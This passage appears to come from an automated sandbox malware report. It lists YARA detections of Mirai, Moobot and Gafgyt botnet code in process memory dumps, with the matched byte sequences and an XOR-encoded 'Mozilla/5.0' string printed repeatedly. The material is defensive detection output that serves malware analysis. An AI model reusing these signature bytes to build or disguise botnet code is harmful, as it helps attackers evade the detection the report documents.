78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7299.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6275.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6275.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6275.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6275.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6275.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6275.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6375.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6375.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6375.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6375.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6375.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6375.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6489.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6489.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6489.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6489.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6275.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6742.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6742.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6742.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6742.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6742.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6742.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6732.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7227.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6313.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6956.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6794.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7027.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7189.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7070.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7098.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7365.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7365.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7365.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6446.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7365.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6446.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6446.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
